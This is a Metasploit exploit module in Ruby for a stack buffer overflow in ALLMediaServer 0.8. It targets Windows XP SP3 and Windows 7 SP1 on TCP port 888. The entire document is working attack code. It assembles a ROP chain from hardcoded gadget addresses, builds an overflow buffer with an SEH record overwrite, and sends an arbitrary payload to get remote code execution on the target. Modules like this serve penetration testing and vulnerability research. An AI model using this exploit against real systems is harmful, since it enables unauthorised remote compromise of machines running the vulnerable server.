require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'ALLMediaServer 0.8 Buffer Overflow',
'Description'=> %q{
This module exploits a stack buffer overflow in ALLMediaServer 0.8.
The vulnerability is caused due to a boundary error within the
handling of HTTP request.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'motaz reda <motazkhodair[at]gmail.com>',
'modpr0be <tom[at]spentera.com>',
'juan vazquez'
],
'References' =>
[
[ 'EDB', '19625' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload'=>
{
'BadChars' => "",
'Space' => 660,
'DisableNops' => true
},
'Targets'=>
[
[ 'ALLMediaServer 0.8 / Windows XP SP3 - English',
{
'Ret' => 0x65ec74dc,
'OffsetRop' => 696,
'jmp' => 264,
'Offset'=> 1072
}
],
[ 'ALLMediaServer 0.8 / Windows 7 SP1 - English',
{
'Ret' => 0x65ec74dc,
'OffsetRop' => 332,
'jmp' => 628,
'Offset'=> 1072
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Jul 04 2012',
'DefaultTarget'=> 1))
register_options([Opt::RPORT(888)], self.class)
end
def junk(n=1)
return [rand_text_alpha(4).unpack("L")[0]] * n
end
def nops(rop=false, n=1)
return rop ? [0x665a0aa1] * n : [0x90909090] * n
end
def asm(code)
Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string
end
def exploit
rop = [
nops(true, 12),
0x65f6faa7,
0x671ee4e0,
0x6ac1ccb4,
0x667ceedf,
junk,
0x65f5f09d,
0x65f9830d,
0x6ac1c1d5,
0x00000600,
0x6672a1e2,
0x00000040,
0x665a09df,
0x6ad58a3d,
0x6ac7a771,
nops(true),
0x6682f9f4,
nops,
0x663dcbd2
].flatten.pack("V*")
connect
buffer = rand_text(target['OffsetRop'])
buffer << rop
buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}")
buffer << rand_text(target['Offset'] - buffer.length)
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
print_status("Sending payload to ALLMediaServer on #{target.name}...")
sock.put(buffer)
disconnect
end
end